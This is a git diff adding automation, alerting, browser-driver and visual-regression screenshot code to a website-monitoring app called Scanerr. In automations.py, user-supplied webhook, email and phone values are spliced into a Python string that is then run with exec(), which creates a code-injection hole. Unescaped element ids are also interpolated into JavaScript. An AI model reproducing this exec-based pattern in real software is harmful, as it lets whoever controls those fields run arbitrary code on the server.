automation.schedule + site = schedule.site + + try: + item = Test.objects.get(id=uuid.UUID(object_id)) + item_type = 'Test' + except: + try: + item = Scan.objects.get(id=uuid.UUID(object_id)) + item_type = 'Scan' + except: + return {'success': False} + + exp_str = create_exp_str(item=item, automation=automation) + + object_url = str(os.environ.get('CLIENT_URL_ROOT') + '/site/'+str(site.id)) + pre_content = ( + f'Scanerr just finished running a {item_type} for {site.site_url}. ' + f'Below are the current stats:\n\n\t{exp_str}\n' + ) + content = ( + f'This message was triggered by an automation you created. ' + f'You can change the automation and schedule in your site\'s dashboard. ' + ) + + body = f'Hi there,\n\n{pre_content}{content}\n{object_url}' + + token = account.slack['bot_access_token'] + channel = account.slack['slack_channel_id'] + + client = WebClient(token=token) + try: + response = client.chat_postMessage( + channel=channel, + text=(body), + block=[ + { + "type": "section", + "text": { + "type": "mrkdwn", + "text": body, + + } + } + ] + ) + except SlackApiError as e: + assert e.response["error"] + + data = { + 'success': True + } + + else: + data = { + 'success': False + } + + return data \ No newline at end of file diff --git a/app/api/utils/automations.py b/app/api/utils/automations.py new file mode 100644 index 00000000..e8e691d9 --- /dev/null +++ b/app/api/utils/automations.py @@ -0,0 +1,226 @@ +from ..models import * +from .alerts import * +import re, uuid + + + +def automation(automation_id, object_id): + automation = Automation.objects.get(id=automation_id) + schedule = automation.schedule + expressions = automation.expressions + exp_list = [] + actions = automation.actions + act_list = [] + scan = None + test = None + report = None + use_exp = True + + if schedule.task_type == 'scan': + try: + scan = Scan.objects.get(id=object_id) + except: + return False + + elif schedule.task_type == 'test': + try: + test = Test.objects.get(id=object_id) + except: + return False + + elif schedule.task_type == 'report': + try: + report = Report.objects.get(id=object_id) + use_exp = False + except: + return False + else: + return False + + + + + if use_exp: + + for expression in expressions: + + exp = None + data_type = None + value = str(float(re.search(r'\d+', str(expression['value'])).group())) + + if '>=' in expression['operator']: + operator = ' >= ' + else: + operator = ' <= ' + + if 'and' in expression['joiner']: + joiner = ' and ' + elif 'or' in expression['joiner']: + joiner = ' or ' + else: + joiner = '' + + if 'test_score' in expression['data_type']: + data_type = 'float(test.score)' + + # lighthouse test data + elif 'current_lighthouse_average' in expression['data_type']: + data_type = 'float(test.lighthouse_delta["scores"]["current_average"])' + elif 'seo_delta' in expression['data_type']: + data_type = 'float(test.lighthouse_delta["scores"]["seo_delta"])' + elif 'pwa_delta' in expression['data_type']: + data_type = 'float(test.lighthouse_delta["scores"]["pwa_delta"])' + elif 'crux_delta' in expression['data_type']: + data_type = 'float(test.lighthouse_delta["scores"]["crux_delta"])' + elif 'best_practices_delta' in expression['data_type']: + data_type = 'float(test.lighthouse_delta["scores"]["best_practices_delta"])' + elif 'performance_delta' in expression['data_type']: + data_type = 'float(test.lighthouse_delta["scores"]["performance_delta"])' + elif 'accessibility_delta' in expression['data_type']: + data_type = 'float(test.lighthouse_delta["scores"]["accessibility_delta"])' + # lighthouse scan data + elif 'lighthouse_average' in expression['data_type']: + data_type = 'float(scan.lighthouse["scores"]["average"])' + elif 'seo' in expression['data_type']: + data_type = 'float(scan.lighthouse["scores"]["seo"])' + elif 'pwa' in expression['data_type']: + data_type = 'float(scan.lighthouse["scores"]["pwa"])' + elif 'crux' in expression['data_type']: + data_type = 'float(scan.lighthouse["scores"]["crux"])' + elif 'best_practices' in expression['data_type']: + data_type = 'float(scan.lighthouse["scores"]["best_practices"])' + elif 'performance' in expression['data_type']: + data_type = 'float(scan.lighthouse["scores"]["performance"])' + elif 'accessibility' in expression['data_type']: + data_type = 'float(scan.lighthouse["scores"]["accessibility"])' + + # yellowlab test data + elif 'current_yellowlab_average' in expression['data_type']: + data_type = 'float(test.yellowlab_delta["scores"]["current_average"])' + elif 'pageWeight_delta' in expression['data_type']: + data_type = 'float(test.yellowlab_delta["scores"]["pageWeight_delta"])' + elif 'requests_delta' in expression['data_type']: + data_type = 'float(test.yellowlab_delta["scores"]["requests_delta"])' + elif 'domComplexity_delta' in expression['data_type']: + data_type = 'float(test.yellowlab_delta["scores"]["domComplexity_delta"])' + elif 'javascriptComplexity_delta' in expression['data_type']: + data_type = 'float(test.yellowlab_delta["scores"]["javascriptComplexity_delta"])' + elif 'badJavascript_delta' in expression['data_type']: + data_type = 'float(test.yellowlab_delta["scores"]["badJavascript_delta"])' + elif 'jQuery_delta' in expression['data_type']: + data_type = 'float(test.yellowlab_delta["scores"]["jQuery_delta"])' + elif 'cssComplexity_delta' in expression['data_type']: + data_type = 'float(test.yellowlab_delta["scores"]["cssComplexity_delta"])' + elif 'badCSS_delta' in expression['data_type']: + data_type = 'float(test.yellowlab_delta["scores"]["badCSS_delta"])' + elif 'fonts_delta' in expression['data_type']: + data_type = 'float(test.yellowlab_delta["scores"]["fonts_delta"])' + elif 'serverConfig_delta' in expression['data_type']: + data_type = 'float(test.yellowlab_delta["scores"]["serverConfig_delta"])' + # yellowlab scan data + elif 'yellowlab_average' in expression['data_type']: + data_type = 'float(scan.yellowlab["scores"]["globalScore"])' + elif 'pageWeight' in expression['data_type']: + data_type = 'float(scan.yellowlab["scores"]["pageWeight"])' + elif 'requests' in expression['data_type']: + data_type = 'float(scan.yellowlab["scores"]["requests"])' + elif 'domComplexity' in expression['data_type']: + data_type = 'float(scan.yellowlab["scores"]["domComplexity"])' + elif 'javascriptComplexity' in expression['data_type']: + data_type = 'float(scan.yellowlab["scores"]["javascriptComplexity"])' + elif 'badJavascript' in expression['data_type']: + data_type = 'float(scan.yellowlab["scores"]["badJavascript"])' + elif 'jQuery' in expression['data_type']: + data_type = 'float(scan.yellowlab["scores"]["jQuery"])' + elif 'cssComplexity' in expression['data_type']: + data_type = 'float(scan.yellowlab["scores"]["cssComplexity"])' + elif 'badCSS' in expression['data_type']: + data_type = 'float(scan.yellowlab["scores"]["badCSS"])' + elif 'fonts' in expression['data_type']: + data_type = 'float(scan.yellowlab["scores"]["fonts"])' + elif 'serverConfig' in expression['data_type']: + data_type = 'float(scan.yellowlab["scores"]["serverConfig"])' + + + elif 'logs' in expression['data_type']: + data_type = 'len(scan.logs)' + + elif 'current_health' in expression['data_type']: + data_type = '((float(test.lighthouse_delta["scores"]["current_average"]) + float(test.yellowlab_delta["scores"]["current_average"]))/2)' + + elif 'health' in expression['data_type']: + data_type = '((float(scan.lighthouse["scores"]["average"]) + float(scan.yellowlab["scores"]["globalScore"]))/2)' + + elif 'avg_image_score' in expression['data_type']: + data_type = 'float(test.images_delta["average_score"])' + + elif 'image_scores' in expression['data_type']: + data_type = '[i["score"] for i in test.images_delta["images"]]' + exp = f'{joiner}any(i{operator}{value} for i in {data_type})' + + if exp is None: + exp = f'{joiner}{data_type}{operator}{value}' + + exp_list.append(exp) + + + + for action in actions: + + if 'slack' in action['action_type']: + action_type = f"\n print('sending slack alert')\ + \n automation_slack(automation_id='{str(automation.id)}', \ + object_id='{str(object_id)}')" + + if 'webhook' in action['action_type']: + action_type = f"\n print('sending webhook alert')\ + \n automation_webhook(request_type='{action['request']}', \ + request_url='{action['url']}', request_data='{action['json']}', \ + automation_id='{str(automation.id)}', \ + object_id='{str(object_id)}')" + + if 'email' in action['action_type']: + action_type = f"\n print('sending email alert')\ + \n automation_email(email='{action['email']}',\ + automation_id='{str(automation.id)}', \ + object_id='{str(object_id)}')" + + if report: + action_type = f"\n print('sending report email')\ + \n automation_report_email(email='{action['email']}',\ + automation_id='{str(automation.id)}', \ + object_id='{str(object_id)}')" + + if 'phone' in action['action_type']: + action_type = f"\n print('sending phone alert')\ + \n automation_phone(phone_number='{action['phone']}', \ + automation_id='{str(automation.id)}', \ + object_id='{str(object_id)}')" + + act = f'{action_type}' + act_list.append(act) + + + exp_string = ' '.join(exp_list) + act_string = ''.join(act_list) + + if not use_exp: + exp_string = '1 == 1' + + automation_logic = f'if {exp_string}:{act_string}' + print(automation_logic) + exec(automation_logic) + + return True + + + + + + + + + + + + \ No newline at end of file diff --git a/app/api/utils/crux.py b/app/api/utils/crux.py new file mode 100644 index 00000000..73601c4e --- /dev/null +++ b/app/api/utils/crux.py @@ -0,0 +1,36 @@ +import requests, os, json + + + +class Crux(): + + def __init__(self, site_url): + self.site_url = site_url + self.key = os.environ.get('GOOGLE_CRUX_KEY') + + + def get_data(self): + + url = f'https://chromeuxreport.googleapis.com/v1/records:queryRecord?key={self.key}' + headers = { + "Content-Type": "application/json", + } + data = { + "origin": str(self.site_url), + } + + res = requests.post( + url=url, + headers=headers, + data=json.dumps(data) + ) + + response = res.json() + + if res.status_code != 200: + response = { + "status": "failed", + "message": "This site_url does not have enough historical data in the CRUX API to respond with." + } + + return response diff --git a/app/api/utils/custom-config.js b/app/api/utils/custom-config.js new file mode 100644 index 00000000..cae0befc --- /dev/null +++ b/app/api/utils/custom-config.js @@ -0,0 +1,14 @@ +// custom configurations for Lighthouse CLI + + + +module.exports = { + extends: 'lighthouse:default', + plugins: ['lighthouse-plugin-crux'], + settings: { + cruxToken: process.env.GOOGLE_CRUX_KEY, + skipAudits: [ + "full-page-screenshot", + ], + }, +} \ No newline at end of file diff --git a/app/api/utils/driver_p.py b/app/api/utils/driver_p.py new file mode 100644 index 00000000..d3fffebf --- /dev/null +++ b/app/api/utils/driver_p.py @@ -0,0 +1,176 @@ +from pyppeteer import launch + +import time, os, numpy, json, sys, datetime, asyncio + + + +async def driver_init( + window_size='1920,1080', + wait_time=30, + ): + + sizes = window_size.split(',') + + options = { + 'executablePath': os.environ.get('CHROMIUM'), + 'args': [ + '--no-sandbox', + '--disable-dev-shm-usage', + f'--window-size={window_size}', + ], + 'defaultViewport': { + 'width': int(sizes[0]), + 'height': int(sizes[1]), + }, + 'timeout': wait_time * 1000 + } + + driver = await launch( + options=options, + headless=True, + handleSIGINT=False, + handleSIGTERM=False, + handleSIGHUP=False + ) + + return driver + + + + + +async def interact_with_page(page): + # simulate mouse movement + await page.mouse.move(0, 0) + await page.mouse.move(0, 100) + + return page + + + + + + +async def driver_test(*args, **options): + + print("Testing puppeteer instalation and integration...") + + try: + driver = await driver_init() + page = await driver.newPage() + await page.goto('https://google.com', {'waitUntil': 'networkidle0'}) + await interact_with_page(page) + title = await page.title() + assert title == 'Google' + if title == 'Google': + status = 'Success' + else: + status = 'Failed' + await driver.close() + except Exception as e: + print(e) + status = 'Failed' + + sys.stdout.write('--- ' + status + ' ---\n' + + 'Puppeteer installed and working \N{check mark} \n' + ) + + + + + + +async def get_data(url, configs, *args, **options): + sizes = configs['window_size'].split(',') + driver = await driver_init(window_size=configs['window_size']) + page = await driver.newPage() + + page_options = { + 'waitUntil': 'networkidle0', + 'timeout': configs['max_wait_time']*1000 + } + viewport = { + 'width': int(sizes[0]), + 'height': int(sizes[1]), + } + + userAgent = ( + "Mozilla/5.0 (Linux; Android 11; Pixel 5) AppleWebKit/537.36 \ + (KHTML, like Gecko) Chrome/99.0.4812.0 Safari/537.36" + ) + + await page.setViewport(viewport) + + if configs['device'] == 'mobile': + await page.setUserAgent(userAgent) + + + logs = [] + def record_logs(log): + if log.type == 'error': + if '.js' in log.text: + source = 'javascript' + elif 'http' in log.text: + source = 'network' + else: + source = 'other' + log_obj = { + "level": "SEVERE", + "source": source, + "message": str(log.text), + "timestamp": int(datetime.datetime.now().timestamp() * 1000) + } + logs.append(log_obj) + elif log.type == 'warning': + if '.js' in log.text: + source = 'javascript' + elif 'http' in log.text: + source = 'network' + else: + source = 'other' + log_obj = { + "level": "WARNING", + "source": source, + "message": str(log.text), + "timestamp": int(datetime.datetime.now().timestamp() * 1000) + } + logs.append(log_obj) + + def record_network(request): + log_obj = { + "level": "SEVERE", + "source": "network", + "message": f'{request.failure()["errorText"]} {request.url}', + "timestamp": int(datetime.datetime.now().timestamp() * 1000) + } + logs.append(log_obj) + + def record_error(error): + err = str(error).split(' at ')[0] + log_obj = { + "level": "SEVERE", + "source": "javascript", + "message": f'{err}', + "timestamp": int(datetime.datetime.now().timestamp() * 1000) + } + logs.append(log_obj) + + + page.on('console', lambda log : record_logs(log)) + page.on('requestfailed', lambda request : record_network(request)) + page.on('pageerror', lambda error : record_error(error)) + + await page.goto(url, page_options) + + # await page.waitForNavigation(navWaitOpt) + await interact_with_page(page) + html = await page.content() + + await driver.close() + + data = { + 'html': html, + 'logs': logs, + } + + return data \ No newline at end of file diff --git a/app/api/utils/driver_s.py b/app/api/utils/driver_s.py new file mode 100644 index 00000000..582c3b0e --- /dev/null +++ b/app/api/utils/driver_s.py @@ -0,0 +1,167 @@ +from selenium import webdriver +from selenium.webdriver.common.desired_capabilities import DesiredCapabilities +from selenium.webdriver import ActionChains +import time, os, numpy, json, sys + + + +def driver_init( + window_size='1920,1080', + device='desktop', + script_timeout=30, + load_timeout=30, + wait_time=15, + ): + + sizes = window_size.split(',') + + prefs = { + 'download.prompt_for_download': False, + 'download.extensions_to_open': '.zip', + 'safebrowsing.enabled': True + } + + mobile_emulation = { + "deviceMetrics": { "width": int(sizes[0]), "height": int(sizes[1]), "pixelRatio": 1.0 }, + "userAgent": ( + "Mozilla/5.0 (Linux; Android 11; Pixel 5) AppleWebKit/537.36 \ + (KHTML, like Gecko) Chrome/99.0.4844.74 Mobile Safari/537.36" + ) + } + + chromedriver_path = os.environ.get("CHROMEDRIVER") + options = webdriver.ChromeOptions() + options.binary_location = os.environ.get('CHROMIUM') + options.add_argument("--no-sandbox") + options.add_argument("disable-blink-features=AutomationControlled") + options.add_experimental_option('prefs',prefs) + options.add_argument("start-maximized") + options.add_argument("--headless") + options.add_argument("--disable-dev-shm-usage") + options.add_argument("--window-size=%s" % window_size) + + if device == 'mobile': + options.add_experimental_option("mobileEmulation", mobile_emulation) + + caps = DesiredCapabilities.CHROME + caps['goog:loggingPrefs'] = {'performance': 'ALL'} + + driver = webdriver.Chrome(executable_path=chromedriver_path, options=options, desired_capabilities=caps) + driver.set_page_load_timeout(load_timeout) + driver.set_script_timeout(script_timeout) + driver.implicitly_wait(wait_time) + + + return driver + + +def driver_test(): + + print("Testing selenium instalation and integration...") + try: + driver = driver_init() + driver.get('https://google.com') + title = driver.title + assert title == 'Google' + if title == 'Google': + status = 'Success' + else: + status = 'Failed' + except Exception as e: + print(e) + status = 'Failed' + + sys.stdout.write('--- ' + status + ' ---\n' + + 'Selenium installed and working \N{check mark} \n' + ) + + quit_driver(driver) + sys.exit(0) + + + +def driver_wait(driver, interval=5, max_wait_time=30, min_wait_time=5): + """ + Pauses the driver until all network requests have been resolved + + --> Adding mouse interaction to load WP plugin rendered content + + returns once driver determines that all request have resolved or + total wait time exceeds max_wait_time + + """ + + def get_request_list(driver): + # get current snapshot of driver requests + requests = driver.get_log('performance') + r_list = [] + for r in requests: + network_log = json.loads(r["message"])["message"] + + # Checks if the current 'method' key has any Network related value. + if("Network.response" in network_log["method"] + or "Network.request" in network_log["method"] + or "Network.webSocket" in network_log["method"]): + + r_list.append(network_log) + + return r_list + + + def interact_with_page(driver): + # simulate mouse movement and click on tag + html_tag = driver.find_elements_by_tag_name('html')[0] + action = ActionChains(driver) + action.move_to_element(html_tag).perform() + return + + + resolved = False + wait_time = 0 + + # actions before comparing network logs + interact_with_page(driver) + time.sleep(min_wait_time) + + while not resolved and wait_time < max_wait_time: + # get first set of logs + list_one = get_request_list(driver=driver) + + # wait 5 sec or sec for request to resolve + time.sleep(interval) + + # get second set of logs + list_two = get_request_list(driver=driver) + + # check if logs are equal + resolved = numpy.array_equal(list_one, list_two) + + wait_time += interval + + return + + + + +def quit_driver(driver): + ''' + Quits and reaps all child processes in docker + ''' + print('Quitting session: %s' % driver.session_id) + driver.quit() + try: + pid = True + while pid: + pid = os.waitpid(-1, os.WNOHANG) + print("Reaped child: %s" % str(pid)) + + # avoid infinite loop cause pid value -> (0, 0) + try: + if pid[0] == 0: + pid = False + except: + pass + + + except ChildProcessError: + pass \ No newline at end of file diff --git a/app/api/utils/image.py b/app/api/utils/image.py new file mode 100644 index 00000000..0683d101 --- /dev/null +++ b/app/api/utils/image.py @@ -0,0 +1,692 @@ +from .driver_s import driver_init, driver_wait, quit_driver +from .driver_p import driver_init as driver_init_p +from selenium import webdriver +from ..models import Site, Scan, Test +from selenium.webdriver.chrome.options import Options +from django.forms.models import model_to_dict +from django.core.serializers.json import DjangoJSONEncoder +from sewar.full_ref import uqi, mse, ssim, msssim, psnr, ergas, vifp, rase, sam, scc +from scanerr import settings +from PIL import Image as I, ImageChops, ImageStat +from pyppeteer import launch +import time, os, sys, json, uuid, boto3, \ + statistics, shutil, numpy, cv2 + + + + + +class Image(): + """ + High level Image handler used to compare screenshots of + a website and retrieve single one-page screenshots. + Also known as VRT or Visual Regression Testing. + Contains five methods scan(), scan_p(), test(), + screenshot(), and screenshot_p(): + + def scan(site, driver=None) -> grabs multiple + screenshots of the website and uploads + them to s3. + + + def test(test=) -> compares each + screenshot in the two scans and records + a score out of 100% + + + def screeshot(site, driver=None) -> grabs single + screenshot of the site and uploads it to s3 + + """ + + + def __init__(self): + + # Masking scripts + self.set_jquery = ( + """ + var jq = document.createElement('script'); + jq.src = "https://ajax.googleapis.com/ajax/libs/jquery/3.5.1/jquery.min.js"; + document.getElementsByTagName('head')[0].appendChild(jq); + """ + ) + + self.mask_function = ( + """ + (function($){ + $.fn.overlayMask = function (action) { + var mask = this.find('.overlay-mask'); + + // Create the required mask + + if (!mask.length) { + this.css({ + position: 'relative' + }); + mask = $('
'); + mask.css({ + position: 'absolute', + width: '100%', + height: '100%', + color: 'green', + backgroundColor: 'green', + top: '0px', + left: '0px', + zIndex: 100, + }).appendTo(this); + } + + // Act based on params + + if (!action || action === 'show') { + mask.show(); + } else if (action === 'hide') { + mask.hide(); + } + + return this; + }; + })(jQuery) + + """ + ) + + + def scan(self, site, configs, driver=None,): + """ + Grabs multiple screenshots of the website and uploads + them to s3. + """ + + # setup boto3 configurations + s3 = boto3.client( + 's3', aws_access_key_id=str(settings.AWS_ACCESS_KEY_ID), + aws_secret_access_key=str(settings.AWS_SECRET_ACCESS_KEY), + region_name=str(settings.AWS_S3_REGION_NAME), + endpoint_url=str(settings.AWS_S3_ENDPOINT_URL) + ) + + # initialize driver if not passed as param + driver_present = True + if not driver: + driver = driver_init() + driver_present = False + + + # request site_url + driver.get(site.site_url) + + # waiting for network requests to resolve + driver_wait( + driver=driver, + interval=int(configs['interval']), + min_wait_time=int(configs['min_wait_time']), + max_wait_time=int(configs['max_wait_time']), + ) + + # mask all listed ids + driver.execute_script(self.set_jquery) + time.sleep(5) + driver.execute_script(self.mask_function) + + if configs['mask_ids'] is not None and configs['mask_ids'] != '': + ids = configs['mask_ids'].split(',') + for id in ids: + try: + # driver.execute_script(f"$('#{id}').overlayMask();") + driver.execute_script(f"$('#{id}').hide();") + print('masked an element') + except: + print('cannot find element via id provided') + + + # scroll one frame at a time and capture screenshot + image_array = [] + index = 0 + last_height = -1 + bottom = False + while not bottom: + + # scroll single frame + if index != 0: + # driver.execute_script("window.scrollBy(0, window.innerHeight);") + driver.execute_script("window.scrollBy(0, document.documentElement.clientHeight);") + time.sleep(int(configs['min_wait_time'])) + + # get current position and compare to previous + new_height = driver.execute_script("return window.pageYOffset + document.documentElement.clientHeight") + height_diff = new_height - last_height + if height_diff > 20: + last_height = new_height + pic_id = uuid.uuid4() + + # waiting for network requests to resolve + driver_wait( + driver=driver, + interval=int(configs['interval']), + min_wait_time=int(configs['min_wait_time']), + max_wait_time=int(configs['max_wait_time']), + ) + + # get screenshot + driver.save_screenshot(f'{pic_id}.png') + image = os.path.join(settings.BASE_DIR, f'{pic_id}.png') + remote_path = f'static/sites/{site.id}/{pic_id}.png' + root_path = settings.AWS_S3_URL_PATH + image_url = f'{root_path}/{remote_path}' + + # upload to s3 + with open(image, 'rb') as data: + s3.upload_fileobj(data, str(settings.AWS_STORAGE_BUCKET_NAME), + remote_path, ExtraArgs={'ACL': 'public-read', 'ContentType': "image/png"} + ) + # remove local copy + os.remove(image) + + # create image obj and add to list + img_obj = { + "index": index, + "id": str(pic_id), + "url": image_url, + "path": remote_path, + } + + image_array.append(img_obj) + + index += 1 + + else: + bottom = True + + if not driver_present: + quit_driver(driver) + + return image_array + + + + async def scan_p(self, site, configs): + """ + Using Puppeteer, grabs multiple screenshots of the website and uploads + them to s3. + """ + + # setup boto3 configurations + s3 = boto3.client( + 's3', aws_access_key_id=str(settings.AWS_ACCESS_KEY_ID), + aws_secret_access_key=str(settings.AWS_SECRET_ACCESS_KEY), + region_name=str(settings.AWS_S3_REGION_NAME), + endpoint_url=str(settings.AWS_S3_ENDPOINT_URL) + ) + + driver = await driver_init_p(window_size=configs['window_size'], wait_time=configs['max_wait_time']) + page = await driver.newPage() + + sizes = configs['window_size'].split(',') + is_mobile = False + if configs['device'] == 'mobile': + is_mobile = True + + page_options = { + 'waitUntil': 'networkidle0', + 'timeout': configs['max_wait_time']*1000 + } + + viewport = { + 'width': int(sizes[0]), + 'height': int(sizes[1]), + 'isMobile': is_mobile, + } + + userAgent = ( + "Mozilla/5.0 (Linux; Android 11; Pixel 5) AppleWebKit/537.36 \ + (KHTML, like Gecko) Chrome/99.0.4812.0 Mobile Safari/537.36" + ) + + emulate_options = { + 'viewport': viewport, + 'userAgent': userAgent + } + + if configs['device'] == 'mobile': + await page.emulate(emulate_options) + else: + await page.setViewport(viewport) + + # requesting site url + await page.goto(site.site_url, page_options) + + + # mask all listed ids + await page.evaluate(self.set_jquery) + time.sleep(5) + await page.evaluate(self.mask_function) + if configs['mask_ids'] is not None and configs['mask_ids'] != '': + ids = configs['mask_ids'].split(',') + for id in ids: + try: + await page.evaluate(f"$('#{id}').hide();") + print('masked an element') + except: + print('cannot find element via id provided') + + + # scroll one frame at a time and capture screenshot + image_array = [] + index = 0 + last_height = -1 + bottom = False + while not bottom: + + # scroll single frame + if index != 0: + await page.evaluate("window.scrollBy(0, document.documentElement.clientHeight);") + time.sleep(int(configs['min_wait_time'])) + + # get current position and compare to previous + new_height = await page.evaluate("window.pageYOffset + document.documentElement.clientHeight") + height_diff = new_height - last_height + if height_diff > 20: + last_height = new_height + pic_id = uuid.uuid4() + + # interact with and wait for page to load + await page.mouse.move(0, 0) + await page.mouse.move(0, 100) + time.sleep(configs['min_wait_time']) + + + # get screenshot + await page.screenshot({'path': f'{pic_id}.png'}) + + image = os.path.join(settings.BASE_DIR, f'{pic_id}.png') + remote_path = f'static/sites/{site.id}/{pic_id}.png' + root_path = settings.AWS_S3_URL_PATH + image_url = f'{root_path}/{remote_path}' + + # upload to s3 + with open(image, 'rb') as data: + s3.upload_fileobj(data, str(settings.AWS_STORAGE_BUCKET_NAME), + remote_path, ExtraArgs={'ACL': 'public-read', 'ContentType': "image/png"} + ) + # remove local copy + os.remove(image) + + # create image obj and add to list + img_obj = { + "index": index, + "id": str(pic_id), + "url": image_url, + "path": remote_path, + } + + image_array.append(img_obj) + + index += 1 + + else: + bottom = True + + + await driver.close() + + return image_array + + + + + + def test(self, test, index=None): + """ + Compares each screenshot between the two scans and records + a score out of 100%. + + Compairsons used : + - Structral Similarity Index (ssim) + - PIL ImageChop Differences, Ratio + - cv2 ORB Brute-force Matcher, Ratio + + + """ + + # setup boto3 configurations + s3 = boto3.client( + 's3', aws_access_key_id=str(settings.AWS_ACCESS_KEY_ID), + aws_secret_access_key=str(settings.AWS_SECRET_ACCESS_KEY), + region_name=str(settings.AWS_S3_REGION_NAME), + endpoint_url=str(settings.AWS_S3_ENDPOINT_URL) + ) + + # setup temp files + if not os.path.exists(os.path.join(settings.BASE_DIR, f'temp/{test.site.id}')): + os.makedirs(os.path.join(settings.BASE_DIR, f'temp/{test.site.id}')) + + # temp root + temp_root = os.path.join(settings.BASE_DIR, f'temp/{test.site.id}') + + # loop through and download each img in scan and compare it. + pre_scan_images = test.pre_scan.images + img_test_results = [] + scores = [] + i = 0 + + if index is not None: + pre_scan_images = [test.pre_scan.images[index]] + i = index + + for pre_img_obj in pre_scan_images: + + # getting pre_scan image + pre_img_path = os.path.join(temp_root, f'{pre_img_obj["id"]}.png') + with open(pre_img_path, 'wb') as data: + s3.download_fileobj(str(settings.AWS_STORAGE_BUCKET_NAME), pre_img_obj["path"], data) + + # open with PIL Image library + pre_img = I.open(pre_img_path) + # convert to array + pre_img_array = numpy.array(pre_img) + + # getting post_scan image + try: + post_img_obj = test.post_scan.images[i] + except: + post_img_obj = None + + if post_img_obj is not None: + post_img_path = os.path.join(temp_root, f'{post_img_obj["id"]}.png') + with open(post_img_path, 'wb') as data: + s3.download_fileobj(str(settings.AWS_STORAGE_BUCKET_NAME), post_img_obj["path"], data) + + # open with PIL Image library + post_img = I.open(post_img_path) + # convert to array + post_img_array = numpy.array(post_img) + + + # test images with PIL + def pil_score(pre_img, post_img): + try: + if (pre_img.mode != post_img.mode) \ + or (pre_img.size != post_img.size) \ + or (pre_img.getbands() != post_img.getbands()): + raise Exception('images are not comparable') + + # Generate diff image in memory. + diff_img = ImageChops.difference(pre_img, post_img) + # Calculate difference as a ratio. + stat = ImageStat.Stat(diff_img) + diff_ratio = (sum(stat.mean) / (len(stat.mean) * 255)) * 100 + pil_img_score = (100 - diff_ratio) + # print(f'PIL score -> {pil_img_score}') + return pil_img_score + + except Exception as e: + print(e) + + + # test with cv2 + def cv2_score(pre_img_array, post_img_array): + try: + orb = cv2.ORB_create() + + # detect keypoints and descriptors + kp_a, desc_a = orb.detectAndCompute(pre_img_array, None) + kp_b, desc_b = orb.detectAndCompute(post_img_array, None) + + # define the bruteforce matcher object + bf = cv2.BFMatcher(cv2.NORM_HAMMING, crossCheck=True) + + # perform matches. + matches = bf.match(desc_a, desc_b) + # Look for similar regions with distance < 20. (from 0 to 100) + similar_regions = [i for i in matches if i.distance < 20] + if len(matches) == 0: + cv2_img_score = 100 + else: + cv2_img_score = (len(similar_regions) / len(matches)) * 100 + # print(f'cv2 -> {cv2_img_score}') + + return cv2_img_score + + except Exception as e: + print(e) + + + + # test images + try: + img_score_tupple = ssim(pre_img_array, post_img_array) + img_score_list = list(img_score_tupple) + ssim_img_score = statistics.fmean(img_score_list) * 100 + # print(f'ssim -> {ssim_img_score}') + + pil_img_score = pil_score(pre_img, post_img) + # print(f'pil -> {pil_img_score}') + + cv2_img_score = cv2_score(pre_img_array, post_img_array) + # print(f'cv2 -> {cv2_img_score}') + + img_score = ((ssim_img_score * 2) + (pil_img_score * 1) + (cv2_img_score * 5)) / 8 + # print(f'img_score ==> {img_score}') + + except Exception as e: + print(e) + img_score = None + + # create img test obj and add to array + img_test_obj = { + "index": i, + "pre_img": pre_img_obj, + "post_img": post_img_obj, + "score": img_score, + } + + img_test_results.append(img_test_obj) + scores.append(img_score) + + # remove local copies + if post_img_obj is not None: + os.remove(post_img_path) + os.remove(pre_img_path) + + i += 1 + + # remove temp dir + shutil.rmtree(temp_root) + + # averaging scores and storing in images_delta obj + try: + avg_score = statistics.fmean(scores) + except: + avg_score = None + + images_delta = { + "average_score": avg_score, + "images": img_test_results, + } + + return images_delta + + + + + + + + def screenshot(self, site=None, url=None, configs=None, driver=None): + """ + Grabs single screenshot of the website and uploads + it to s3. + """ + + # setup boto3 configurations + s3 = boto3.client( + 's3', aws_access_key_id=str(settings.AWS_ACCESS_KEY_ID), + aws_secret_access_key=str(settings.AWS_SECRET_ACCESS_KEY), + region_name=str(settings.AWS_S3_REGION_NAME), + endpoint_url=str(settings.AWS_S3_ENDPOINT_URL) + ) + + if not configs: + configs = { + "interval": 5, + "window_size": "1920,1080", + "max_wait_time": 60, + "min_wait_time": 10, + "device": "desktop" + } + + # initialize driver if not passed as param + if not driver: + driver = driver_init(window_size=configs['window_size'], device=configs['device']) + + + # get or create site data + if site is None: + site_id = uuid.uuid4() + site_url = url + else: + site_id = site.id + site_url = site.site_url + + # request site_url + driver.get(site_url) + + + # wait for site to fully load + driver_wait( + driver=driver, + interval=int(configs['interval']), + min_wait_time=int(configs['min_wait_time']), + max_wait_time=int(configs['max_wait_time']), + ) + + # grab screenshot + pic_id = uuid.uuid4() + driver.save_screenshot(f'{pic_id}.png') + image = os.path.join(settings.BASE_DIR, f'{pic_id}.png') + remote_path = f'static/sites/{site_id}/{pic_id}.png' + root_path = settings.AWS_S3_URL_PATH + image_url = f'{root_path}/{remote_path}' + + # upload to s3 + with open(image, 'rb') as data: + s3.upload_fileobj(data, str(settings.AWS_STORAGE_BUCKET_NAME), + remote_path, ExtraArgs={'ACL': 'public-read', 'ContentType': "image/png"} + ) + # remove local copy + os.remove(image) + + # create image obj and add to list + img_obj = { + "id": str(pic_id), + "url": image_url, + "path": remote_path, + } + + # quit driver + quit_driver(driver) + + return img_obj + + + + async def screenshot_p(self, site=None, url=None, configs=None): + """ + Using Puppeteer, grabs single screenshot of the website and uploads + it to s3. + """ + + # setup boto3 configurations + s3 = boto3.client( + 's3', aws_access_key_id=str(settings.AWS_ACCESS_KEY_ID), + aws_secret_access_key=str(settings.AWS_SECRET_ACCESS_KEY), + region_name=str(settings.AWS_S3_REGION_NAME), + endpoint_url=str(settings.AWS_S3_ENDPOINT_URL) + ) + + if not configs: + configs = { + "interval": 5, + "driver": "puppeteer", + "device": "desktop", + "window_size": "1920,1080", + "max_wait_time": 60, + "min_wait_time": 10 + } + + driver = await driver_init_p(window_size=configs['window_size'], wait_time=configs['max_wait_time']) + page = await driver.newPage() + + sizes = configs['window_size'].split(',') + is_mobile = False + if configs['device'] == 'mobile': + is_mobile = True + + page_options = { + 'waitUntil': 'networkidle0', + 'timeout': configs['max_wait_time']*1000 + } + + viewport = { + 'width': int(sizes[0]), + 'height': int(sizes[1]), + 'isMobile': is_mobile, + } + + userAgent = ( + "Mozilla/5.0 (Linux; Android 11; Pixel 5) AppleWebKit/537.36 \ + (KHTML, like Gecko) Chrome/99.0.4812.0 Mobile Safari/537.36" + ) + + emulate_options = { + 'viewport': viewport, + 'userAgent': userAgent + } 